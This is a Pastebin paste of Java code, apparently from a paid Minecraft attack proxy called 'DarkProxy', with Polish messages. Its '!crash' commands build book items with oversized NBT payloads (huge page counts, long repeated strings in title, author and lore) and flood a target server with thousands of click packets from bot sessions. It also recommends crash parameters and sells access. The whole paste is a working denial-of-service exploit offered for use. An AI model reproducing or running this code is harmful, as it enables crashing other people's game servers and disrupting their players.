Advertisement
Guest User

Untitled

a guest
Feb 8th, 2018
302
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.49 KB | None | 0 0
  1. if (args[0].equalsIgnoreCase("!crash")) {
  2. if (args.length > 1 && args[1].equalsIgnoreCase("book1")) {
  3. if (u.getRankType() != RankType.Admin && u.getRankType() != RankType.HeadAdmin && u.getRankType() != RankType.Wlasciciel) {
  4. ChatUtil.sendMessage(s, "$p &cBrak uprawnien. Zakup dostep na skype: &6yooniksyoon&6iks@gmail.com");
  5. return;
  6. }
  7. if (args.length <= 4) {
  8. ChatUtil.sendMessage(s, "$p &cPoprawne uzycie: &6!crash book1 <ilosc stron> &6<ilosc pakietow> <czy obecna sesja, czy boty: true-obecna sesja, boty-false>");
  9. return;
  10. }
  11. final int pagesc = Integer.valueOf(args[2]);
  12. final int packetsc = Integer.valueOf(args[3]);
  13. ChatUtil.sendMessage(s, "$p &aWysylam.. Stron: &6" + pagesc + "&a, ilosc pakietow: &6" + packetsc);
  14. final long ms = System.currentTimeMillis();
  15. final List<Tag> pages = new ArrayList<Tag>();
  16. for (int k = 0; k < pagesc; ++k) {
  17. pages.add(new StringTag("_"));
  18. }
  19. final ListTag listTag = new ListTag("pages", pages);
  20. final CompoundTag compoundTag = new CompoundTag("");
  21. compoundTag.put(listTag);
  22. final ItemStack is = new ItemStack(386, 64, 0, compoundTag);
  23. final boolean bots = Boolean.valueOf(args[4]);
  24. if (bots) {
  25. for (int i2 = 0; i2 < packetsc && u.getTargetBotSession() != null; ++i2) {
  26. u.getTargetBotSession().send(new ClientWindowActionPacket(0, 1, 1, is, WindowAction.CLICK_ITEM, ClickItemParam.LEFT_CLICK));
  27. }
  28. }
  29. else {
  30. for (final Bot bot : u.getBots()) {
  31. for (int i3 = 0; i3 < packetsc && bot.getSession() != null; ++i3) {
  32. bot.getSession().send(new ClientWindowActionPacket(0, 1, 1, is, WindowAction.CLICK_ITEM, ClickItemParam.LEFT_CLICK));
  33. }
  34. }
  35. }
  36. ChatUtil.sendMessage(s, "&8[&6DarkProxy&8] &cZakonczono! Zajelo ci to: &6" + (System.currentTimeMillis() - ms) + "ms".replace("-", ""));
  37. return;
  38. }
  39. else if (args.length > 1 && args[1].equalsIgnoreCase("book2")) {
  40. if (u.getRankType() != RankType.Admin && u.getRankType() != RankType.HeadAdmin && u.getRankType() != RankType.Wlasciciel) {
  41. ChatUtil.sendMessage(s, "$p &cBrak uprawnien. Zakup dostep na skype: &6yooniksyoon&6iks@gmail.com");
  42. return;
  43. }
  44. if (args.length <= 5) {
  45. ChatUtil.sendMessage(s, "$p &cPoprawne uzycie: &6!crash book2 <ilosc stron> &6<ilosc pakietow> <czy obecna sesja, czy boty: &6true-obecna sesja, boty-false>&6 <appends>");
  46. ChatUtil.sendMessage(s, "$p &cPolecamy: &e!crash book2 48760 1000 true 100");
  47. return;
  48. }
  49. final int pagesc = Integer.valueOf(args[2]);
  50. final int packetsc = Integer.valueOf(args[3]);
  51. final int appends = Integer.valueOf(args[5]);
  52. ChatUtil.sendMessage(s, "$p &aWysylam.. Stron: &6" + pagesc + "&a, ilosc pakietow: &6" + packetsc + "&a, appends: &6" + appends);
  53. final long ms2 = System.currentTimeMillis();
  54. final List<Tag> pages2 = new ArrayList<Tag>();
  55. final StringBuilder stringBuilder = new StringBuilder();
  56. for (int i4 = 0; i4 < appends; ++i4) {
  57. stringBuilder.append("\n-_-_-");
  58. }
  59. for (int i4 = 0; i4 < pagesc; ++i4) {
  60. pages2.add(new StringTag(stringBuilder.toString()));
  61. }
  62. final ListTag listTag2 = new ListTag("pages", pages2);
  63. final CompoundTag compoundTag2 = new CompoundTag("");
  64. compoundTag2.put(listTag2);
  65. compoundTag2.put(new StringTag("author", stringBuilder.toString()));
  66. compoundTag2.put(new StringTag("title", stringBuilder.toString()));
  67. final ItemStack is2 = new ItemStack(386, 64, 0, compoundTag2);
  68. final boolean bots2 = Boolean.valueOf(args[4]);
  69. if (bots2) {
  70. for (int i3 = 0; i3 < packetsc && u.getTargetBotSession() != null; ++i3) {
  71. u.getTargetBotSession().send(new ClientWindowActionPacket(0, 1, 1, is2, WindowAction.CLICK_ITEM, ClickItemParam.LEFT_CLICK));
  72. }
  73. }
  74. else {
  75. for (final Bot bot2 : u.getBots()) {
  76. for (int i5 = 0; i5 < packetsc && bot2.getSession() != null; ++i5) {
  77. bot2.getSession().send(new ClientWindowActionPacket(0, 1, 1, is2, WindowAction.CLICK_ITEM, ClickItemParam.LEFT_CLICK));
  78. }
  79. }
  80. }
  81. ChatUtil.sendMessage(s, "&8[&6DarkProxy&8] &cZakonczono! Zajelo ci to: &6" + (System.currentTimeMillis() - ms2) + "ms".replace("-", ""));
  82. return;
  83. }
  84. else if (args.length > 1 && args[1].equalsIgnoreCase("book3")) {
  85. if (u.getRankType() != RankType.Admin && u.getRankType() != RankType.HeadAdmin && u.getRankType() != RankType.Wlasciciel) {
  86. ChatUtil.sendMessage(s, "$p &cBrak uprawnien. Zakup dostep na skype: &6yooniksyoon&6iks@gmail.com");
  87. return;
  88. }
  89. if (args.length <= 3) {
  90. ChatUtil.sendMessage(s, "$p &cPoprawne uzycie: &6!crash book3 <ilosc stron> &6<ilosc pakietow> <czy obecna sesja, &6czy boty: true-obecna sesja, boty-false>");
  91. return;
  92. }
  93. final int pagesc = Integer.valueOf(args[2]);
  94. final int packetsc = Integer.valueOf(args[3]);
  95. ChatUtil.sendMessage(s, "$p &aWysylam.. Stron: &6" + pagesc + "&a, ilosc pakietow: &6" + packetsc);
  96. final long ms = System.currentTimeMillis();
  97. final List<Tag> pages = new ArrayList<Tag>();
  98. final StringBuilder stringBuilder2 = new StringBuilder();
  99. for (int i6 = 0; i6 < 150; ++i6) {
  100. stringBuilder2.append("\n-_-_-");
  101. }
  102. for (int i6 = 0; i6 < pagesc; ++i6) {
  103. pages.add(new StringTag(stringBuilder2.toString()));
  104. }
  105. final ListTag listTag3 = new ListTag("pages", pages);
  106. final CompoundTag compoundTag3 = new CompoundTag("");
  107. compoundTag3.put(listTag3);
  108. final CompoundTag display = new CompoundTag("display");
  109. final List<Tag> listtagsxd = new ArrayList<Tag>();
  110. listtagsxd.add(new StringTag(stringBuilder2.toString()));
  111. final ListTag displayList = new ListTag("Lore", listtagsxd);
  112. display.put(displayList);
  113. display.put(new StringTag("Name", stringBuilder2.toString()));
  114. final ItemStack is3 = new ItemStack(386, 64, 0, compoundTag3);
  115. is3.getNBT().put(display);
  116. final boolean bots3 = Boolean.valueOf(args[4]);
  117. if (bots3) {
  118. for (int i5 = 0; i5 < packetsc && u.getTargetBotSession() != null; ++i5) {
  119. u.getTargetBotSession().send(new ClientWindowActionPacket(0, 1, 1, is3, WindowAction.CLICK_ITEM, ClickItemParam.LEFT_CLICK));
  120. }
  121. }
  122. else {
  123. for (final Bot bot3 : u.getBots()) {
  124. for (int i7 = 0; i7 < packetsc && bot3.getSession() != null; ++i7) {
  125. bot3.getSession().send(new ClientWindowActionPacket(0, 1, 1, is3, WindowAction.CLICK_ITEM, ClickItemParam.LEFT_CLICK));
  126. }
  127. }
  128. }
  129. ChatUtil.sendMessage(s, "&8[&6DarkProxy&8] &cZakonczono! Zajelo ci to: &6" + (System.currentTimeMillis() - ms) + "ms".replace("-", ""));
  130. return;
  131. }
  132. else if (args.length > 1 && args[1].equalsIgnoreCase("bookbest")) {
  133. if (u.getRankType() != RankType.Admin && u.getRankType() != RankType.HeadAdmin && u.getRankType() != RankType.Wlasciciel) {
  134. ChatUtil.sendMessage(s, "$p &cBrak uprawnien. Zakup dostep na skype: &6yooniksyoon&6iks@gmail.com");
  135. return;
  136. }
  137. if (args.length <= 4) {
  138. ChatUtil.sendMessage(s, "$p &cPoprawne uzycie: &6!crash bookbest <ilosc stron> &6<ilosc bytetagow> &6<ilosc pakietow> <czy obecna sesja, czy boty: true-obecna sesja, boty-false>");
  139. return;
  140. }
  141. final int pagesc = Integer.valueOf(args[2]);
  142. final int bytesc = Integer.valueOf(args[3]);
  143. final int packetsc2 = Integer.valueOf(args[4]);
  144. ChatUtil.sendMessage(s, "$p &aWysylam.. Stron: &6" + pagesc + "&a, bytes: &6" + bytesc + "&a ilosc pakietow: &6" + packetsc2);
  145. final long ms2 = System.currentTimeMillis();
  146. final List<Tag> pages2 = new ArrayList<Tag>();
  147. final List<Tag> bytes = new ArrayList<Tag>();
  148. final ItemStack is = new ItemStack(386, 64, 0, new CompoundTag(""));
  149. is.getNBT().put(CheckCommand.listtagpro);
  150. final boolean bots = Boolean.valueOf(args[4]);
  151. if (bots) {
  152. for (int i2 = 0; i2 < packetsc2 && u.getTargetBotSession() != null; ++i2) {
  153. u.getTargetBotSession().send(new ClientWindowActionPacket(0, 1, 1, is, WindowAction.CLICK_ITEM, ClickItemParam.LEFT_CLICK));
  154. }
  155. }
  156. else {
  157. for (final Bot bot : u.getBots()) {
  158. for (int i3 = 0; i3 < packetsc2 && bot.getSession() != null; ++i3) {
  159. bot.getSession().send(new ClientWindowActionPacket(0, 1, 1, is, WindowAction.CLICK_ITEM, ClickItemParam.LEFT_CLICK));
  160. }
  161. }
  162. }
  163. ChatUtil.sendMessage(s, "&8[&6DarkProxy&8] &cZakonczono! Zajelo ci to: &6" + (System.currentTimeMillis() - ms2) + "ms".replace("-", ""));
  164. return;
  165. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement